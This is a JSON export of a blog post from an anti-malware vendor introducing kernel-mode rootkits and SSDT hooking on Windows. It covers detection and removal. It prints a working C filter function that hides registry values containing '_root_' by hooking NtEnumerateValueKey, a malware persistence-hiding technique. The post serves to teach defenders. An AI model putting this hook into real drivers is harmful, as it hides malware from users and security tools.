{"id":214,"date":"2014-06-28T06:41:10","date_gmt":"2014-06-28T06:41:10","guid":{"rendered":"http:\/\/www.adlice.com\/?p=214"},"modified":"2022-12-21T10:39:54","modified_gmt":"2022-12-21T10:39:54","slug":"kernelmode-rootkits-part-1-ssdt-hooks","status":"publish","type":"post","link":"https:\/\/www.adlice.com\/es\/kernelmode-rootkits-part-1-ssdt-hooks\/","title":{"rendered":"KernelMode Rootkits: Part 1, SSDT hooks"},"content":{"rendered":"\n<p>This is the first part of this series about <strong>Kernel Mode rootkits<\/strong>, I wanted to write on it and demonstrate how some rootkits (Ex: Necurs) do to <strong>hide their presence and protect themselves from removal<\/strong> by using SSDT hooks.<\/p>\n\n\n\n<p>I&#8217;ll first introduce what is KernelMode (against UserLand), then what is SSDT, and to finish demonstrate how a hook can be made, detected, and removed. <strong>This post is about a classic trick<\/strong>, known for decades. Malware specialists may know this already, so this is mostly an introduction for whom willing to learn the theory of rootkits, and have a demonstration. Call that beginners if you want \ud83d\ude42<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Kernel Mode<\/h4>\n\n\n\n<p><strong>Hard to explain better than <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff554836%28v=vs.85%29.aspx\">Microsoft itself<\/a><\/strong>. There are basically <strong>2 address spaces in Windows<\/strong>, where applications can only be part of one of them. This means an application is either designed to run in <strong>user mode (classic application, apps with user interface, services, &#8230;)<\/strong> or in <strong>kernel mode (kernel mode drivers)<\/strong>.<\/p>\n\n\n\n<p><strong>Usually, high level programs run in user mode, while low level programs run in kernel mode<\/strong>. <strong>User mode process address space is private (and virtual)<\/strong>, this means that from inside a process context, all the processes see the same address range. However, writing to a given virtual address writes to a different physical address according to the process context we are. <strong>When some unexpected thing happens in user mode, only the process crashes<\/strong>.<\/p>\n\n\n\n<p>Unlike user mode, <strong>kernel mode address space is shared<\/strong>. This means <strong>we can read\/write to the memory of any other process<\/strong>. Kernel Mode is very critical because of this (and because it&#8217;s low level), because <strong>if something unexpected happen and isn&#8217;t handled correctly, but have a BSoD. <\/strong><br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\"><img decoding=\"async\" width=\"512\" height=\"426\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\" alt=\"Src: Microsoft\" class=\"wp-image-218\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png 512w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109-300x250.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109-66x55.png 66w\" sizes=\"(max-width: 512px) 100vw, 512px\" \/><\/a><figcaption class=\"wp-element-caption\">Src: Microsoft<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>SSDT (System Service Dispatch Table)<\/h4>\n\n\n\n<p><a href=\"http:\/\/en.wikipedia.org\/wiki\/System_Service_Dispatch_Table\">The System Service Dispatch Table<\/a> is a table containing pointers to service functions (APIs) in ntoskrnl.exe (NtOpenProcess, NtOpenThread, &#8230; ).<\/p>\n\n\n\n<p>Make of a hook in this table consist to <strong>replace the original pointer value of an entry (let&#8217;s take NtOpenProcess for the example) by the address of a function with the same prototype in any kernel mode loaded module.<\/strong> Usually, detouring an API is only made to <strong>filter the input parameters<\/strong> (and deny access if needed) and <strong>return the original pointer value at the end of the processing<\/strong>, to call the original function.<\/p>\n\n\n\n<p>Any loaded module can then <strong>detour the execution flow of an API to filter<\/strong> any attempt to open a handle on a process (in our example). This is very important, because a handle with enough rights is needed to kill a process with NtTerminateProcess. If we deny the call to NtOpenProcess, no program will be able to kill a given process (in theory&#8230;).<\/p>\n\n\n\n<p><strong>SSDT hooks are used by malware to self-protect and hide their ass, and by antivirus vendors<\/strong> (on old systems) to filter system access (process starts, registry write, &#8230;).<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre.png\"><img decoding=\"async\" width=\"755\" height=\"511\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre.png\" alt=\"Before hook (Clean system)\" class=\"wp-image-220\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre.png 755w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre-300x203.png 300w\" sizes=\"(max-width: 755px) 100vw, 755px\" \/><\/a><figcaption class=\"wp-element-caption\">Before hook (Clean system)<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre2.png\"><img decoding=\"async\" width=\"905\" height=\"445\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre2.png\" alt=\"After hook (System compromised)\" class=\"wp-image-221\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre2.png 905w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Sans-titre2-300x148.png 300w\" sizes=\"(max-width: 905px) 100vw, 905px\" \/><\/a><figcaption class=\"wp-element-caption\">After hook (System compromised)<\/figcaption><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Practical case: Hide a registry value<\/h4>\n\n\n\n<p>I didn&#8217;t say &#8216;protect&#8217;, but HIDE. <strong>Imagine you&#8217;re a malware writer, and you need to hide the persistence item of your piece of code and let&#8217;s imagine it&#8217;s a RUN value<\/strong>. You don&#8217;t want anyone to be able to remove your malware so you hide it (Of course you need to protect the file as well, but that&#8217;s not a how-to-make-a-virus here). <strong>Disclaimer: This is not a tutorial to make a rootkit, but a practical case for educational purpose only.<\/strong> Anyway, this is covered for decades on other websites&#8230;<\/p>\n\n\n\n<p>I&#8217;ll not show you how to hook the SSDT, <a href=\"http:\/\/resources.infosecinstitute.com\/hooking-system-service-dispatch-table-ssdt\/\">it&#8217;s very well explained here<\/a>. I&#8217;ll just write the hooking filter function.<strong> We want to hide a registry value, so we will target the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff566453%28v=vs.85%29.aspx\">NtEnumerateValueKey API.<\/a><\/strong> I haven&#8217;t told before, <a href=\"http:\/\/www.codeproject.com\/Articles\/9504\/Driver-Development-Part-Introduction-to-Drivers\">but as it&#8217;s kernel mode code, you&#8217;d need to code a driver.<\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>NTSTATUS NewZwEnumerateValueKey(IN HANDLE KeyHandle,IN ULONG Index,IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, \n                                OUT PVOID KeyValueInformation OPTIONAL, IN  ULONG Length, OUT PULONG ResultLength)\n{\n    NTSTATUS ntStatus;\n    PWSTR ValueName;\n    \n    \/\/ Call the original API (NtEnumerateValueKey)\n    ntStatus = ((ZWENUMERATEVALUEKEY)(OldZwEnumerateValueKey)) (KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);\n    \n    \/\/ Get value name\n    if (KeyValueInformationClass == KeyValueFullInformation)\n    {\n        ValueName = ((PKEY_VALUE_FULL_INFORMATION)KeyValueInformation)-&amp;gt;Name;   \n  \n        \/\/ If the registry value name contains _root_ we increment the index and call the API a second time, hiding the first call results.\n        if (ValueName != NULL &amp;amp;&amp;amp; wcsstr(ValueName, L\"_root_\") != NULL)\n        {\n            DbgPrint(\"&#91;ENUMVALUE] %d &#91;%d] -- %ws\\n\", Index, KeyValueInformationClass, ValueName);\n            \n            \/\/ Skip index\n            Index++;\n            ValueName = NULL;       \n            return ((ZWENUMERATEVALUEKEY)(OldZwEnumerateValueKey)) (KeyHandle, Index, KeyValueInformationClass, KeyValueInformation, Length, ResultLength);\n        }\n    }    \n    return ntStatus;\n}\n<\/code><\/pre>\n\n\n\n<p><br><strong>The code is self explaining, fully commented.<\/strong><br><strong>If the value name contains the string &#8220;_root_&#8221;, we call the API a second time to hide the results of the first call.<\/strong><br>This means we don&#8217;t get any information about the hidden value.<br>&nbsp;<\/p>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/before_hook.png\"><img decoding=\"async\" width=\"993\" height=\"171\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/before_hook.png\" alt=\"Before hook\" class=\"wp-image-216\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/before_hook.png 993w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/before_hook-300x52.png 300w\" sizes=\"(max-width: 993px) 100vw, 993px\" \/><\/a><figcaption class=\"wp-element-caption\">Before hook<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/after_hook.png\"><img decoding=\"async\" width=\"1096\" height=\"146\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/after_hook.png\" alt=\"After hook\" class=\"wp-image-215\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/after_hook.png 1096w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/after_hook-300x40.png 300w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/after_hook-1024x136.png 1024w\" sizes=\"(max-width: 1096px) 100vw, 1096px\" \/><\/a><figcaption class=\"wp-element-caption\">After hook<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/dbg_hook.png\"><img decoding=\"async\" width=\"570\" height=\"59\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/dbg_hook.png\" alt=\"Debugger view\" class=\"wp-image-217\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/dbg_hook.png 570w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/dbg_hook-300x31.png 300w\" sizes=\"(max-width: 570px) 100vw, 570px\" \/><\/a><figcaption class=\"wp-element-caption\">Debugger view<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image alignnone\"><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/roguekiller_hook.png\"><img decoding=\"async\" width=\"744\" height=\"82\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/roguekiller_hook.png\" alt=\"RogueKiller detects the hook...\" class=\"wp-image-219\" srcset=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/roguekiller_hook.png 744w, https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/roguekiller_hook-300x33.png 300w\" sizes=\"(max-width: 744px) 100vw, 744px\" \/><\/a><figcaption class=\"wp-element-caption\">RogueKiller detects the hook&#8230;<\/figcaption><\/figure>\n\n\n\n<p><strong>A demo of the rootkit is available here: <\/strong><\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe title=\"SSDT hook demo registry value hider\" width=\"1200\" height=\"675\" src=\"https:\/\/www.youtube.com\/embed\/U31PxMxZky8?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><\/figure>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Detection\/Removal<\/h4>\n\n\n\n<p><strong>To detect such a hook, we need to load a driver that will scan the SSDT<\/strong> and compare each pointer to the address range of ntoskrnl module. If one is outside this range, it&#8217;s probably hooked by some module. Pretty easy to detect.<\/p>\n\n\n\n<p>However, some other tips exist to hook the SSDT, <strong>some rootkits do not change the address in the SSDT but change the assembly instructions of the first bytes<\/strong> in the target API (in ntoskrnl then) to point to the hooking module. <strong>This is called Inline hook<\/strong> (not covered here).<\/p>\n\n\n\n<p>To remove a SSDT hook, you need to retrieve the true address of the API (somewhere&#8230;) and <strong>replace the bad address in the SSDT<\/strong>. That should remove the filter and let the rootkit unprotected. Pay attention, the restore action must be atomic (else we can have some BSoD).<\/p>\n\n\n\n<h4 class=\"has-accent-color has-text-color wp-block-heading\"><br>Useful links<\/h4>\n\n\n\n<p>&#8211; <a href=\"http:\/\/www.amazon.com\/Rootkits-Subverting-Windows-Greg-Hoglund\/dp\/0321294319\">Rootkits: Subversing the windows kernel.<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial in which we will detail the basics about kernel rootkits.<\/p>\n","protected":false},"author":1,"featured_media":218,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[36,84],"tags":[7,47,52,194,197,89,43,195],"class_list":["post-214","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-analysis","category-tutorial","tag-analysis","tag-anti-rootkit","tag-antivirus","tag-hook","tag-kernel","tag-research","tag-rootkit","tag-ssdt","category-36","category-84","description-off"],"views":16675,"yoast_score":67,"yoast_readable":30,"featured_image_src":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","author_info":{"display_name":"tigzy","author_link":"https:\/\/www.adlice.com\/es\/author\/tigzy\/"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.1.1 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software<\/title>\n<meta name=\"description\" content=\"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software\" \/>\n<meta property=\"og:description\" content=\"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\" \/>\n<meta property=\"og:site_name\" content=\"Adlice Software\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/RogueKiller\" \/>\n<meta property=\"article:published_time\" content=\"2014-06-28T06:41:10+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2022-12-21T10:39:54+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\" \/>\n\t<meta property=\"og:image:width\" content=\"512\" \/>\n\t<meta property=\"og:image:height\" content=\"426\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"tigzy\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:site\" content=\"@AdliceSoftware\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"tigzy\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\"},\"author\":{\"name\":\"tigzy\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\"},\"headline\":\"KernelMode Rootkits: Part 1, SSDT hooks\",\"datePublished\":\"2014-06-28T06:41:10+00:00\",\"dateModified\":\"2022-12-21T10:39:54+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\"},\"wordCount\":864,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\",\"keywords\":[\"analysis\",\"anti-rootkit\",\"antivirus\",\"hook\",\"kernel\",\"research\",\"rootkit\",\"ssdt\"],\"articleSection\":[\"Analysis\",\"Tutorial\"],\"inLanguage\":\"es\"},{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\",\"url\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\",\"name\":\"KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software\",\"isPartOf\":{\"@id\":\"https:\/\/www.adlice.com\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage\"},\"thumbnailUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\",\"datePublished\":\"2014-06-28T06:41:10+00:00\",\"dateModified\":\"2022-12-21T10:39:54+00:00\",\"description\":\"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.\",\"breadcrumb\":{\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png\",\"width\":512,\"height\":426,\"caption\":\"Src: Microsoft\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.adlice.com\/es\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"KernelMode Rootkits: Part 1, SSDT hooks\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.adlice.com\/#website\",\"url\":\"https:\/\/www.adlice.com\/\",\"name\":\"Adlice Software\",\"description\":\"Anti-malware and analysis tools\",\"publisher\":{\"@id\":\"https:\/\/www.adlice.com\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.adlice.com\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Organization\",\"@id\":\"https:\/\/www.adlice.com\/#organization\",\"name\":\"Adlice Software\",\"url\":\"https:\/\/www.adlice.com\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\",\"url\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"contentUrl\":\"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png\",\"width\":276,\"height\":276,\"caption\":\"Adlice Software\"},\"image\":{\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/RogueKiller\",\"https:\/\/x.com\/AdliceSoftware\",\"https:\/\/fr.linkedin.com\/company\/adlice-software\",\"https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d\",\"name\":\"tigzy\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\/\/www.adlice.com\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g\",\"caption\":\"tigzy\"},\"description\":\"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.\",\"url\":\"https:\/\/www.adlice.com\/es\/author\/tigzy\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software","description":"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/","og_locale":"es_ES","og_type":"article","og_title":"KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software","og_description":"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.","og_url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/","og_site_name":"Adlice Software","article_publisher":"https:\/\/www.facebook.com\/RogueKiller","article_published_time":"2014-06-28T06:41:10+00:00","article_modified_time":"2022-12-21T10:39:54+00:00","og_image":[{"width":512,"height":426,"url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","type":"image\/png"}],"author":"tigzy","twitter_card":"summary_large_image","twitter_creator":"@AdliceSoftware","twitter_site":"@AdliceSoftware","twitter_misc":{"Escrito por":"tigzy","Tiempo de lectura":"6 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#article","isPartOf":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/"},"author":{"name":"tigzy","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d"},"headline":"KernelMode Rootkits: Part 1, SSDT hooks","datePublished":"2014-06-28T06:41:10+00:00","dateModified":"2022-12-21T10:39:54+00:00","mainEntityOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/"},"wordCount":864,"commentCount":0,"publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","keywords":["analysis","anti-rootkit","antivirus","hook","kernel","research","rootkit","ssdt"],"articleSection":["Analysis","Tutorial"],"inLanguage":"es"},{"@type":"WebPage","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/","url":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/","name":"KernelMode Rootkits, Part 1 | SSDT hooks \u2022 Adlice Software","isPartOf":{"@id":"https:\/\/www.adlice.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage"},"image":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage"},"thumbnailUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","datePublished":"2014-06-28T06:41:10+00:00","dateModified":"2022-12-21T10:39:54+00:00","description":"KernelMode Rootkits explained. This is the first part of this rootkit writing tutorial and it covers SSDT\/Shadow hooks.","breadcrumb":{"@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#primaryimage","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/IC535109.png","width":512,"height":426,"caption":"Src: Microsoft"},{"@type":"BreadcrumbList","@id":"https:\/\/www.adlice.com\/kernelmode-rootkits-part-1-ssdt-hooks\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.adlice.com\/es\/"},{"@type":"ListItem","position":2,"name":"KernelMode Rootkits: Part 1, SSDT hooks"}]},{"@type":"WebSite","@id":"https:\/\/www.adlice.com\/#website","url":"https:\/\/www.adlice.com\/","name":"Adlice Software","description":"Anti-malware and analysis tools","publisher":{"@id":"https:\/\/www.adlice.com\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.adlice.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Organization","@id":"https:\/\/www.adlice.com\/#organization","name":"Adlice Software","url":"https:\/\/www.adlice.com\/","logo":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/","url":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","contentUrl":"https:\/\/www.adlice.com\/wp-content\/uploads\/2020\/05\/B1rTNpTG_400x40_10.png","width":276,"height":276,"caption":"Adlice Software"},"image":{"@id":"https:\/\/www.adlice.com\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/RogueKiller","https:\/\/x.com\/AdliceSoftware","https:\/\/fr.linkedin.com\/company\/adlice-software","https:\/\/www.youtube.com\/channel\/UC4CQ-gIZMGWxl-auf0QqYhQ"]},{"@type":"Person","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/a02b30804320a4059d268dc2567a307d","name":"tigzy","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/www.adlice.com\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/d81e380961b1b69969fa84994ad1e4cba26afe93a49d8dd3148e9c33ffe4ccac?s=96&d=mm&r=g","caption":"tigzy"},"description":"Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.","url":"https:\/\/www.adlice.com\/es\/author\/tigzy\/"}]}},"_links":{"self":[{"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/posts\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/comments?post=214"}],"version-history":[{"count":0,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/posts\/214\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/media\/218"}],"wp:attachment":[{"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/media?parent=214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/categories?post=214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.adlice.com\/es\/wp-json\/wp\/v2\/tags?post=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}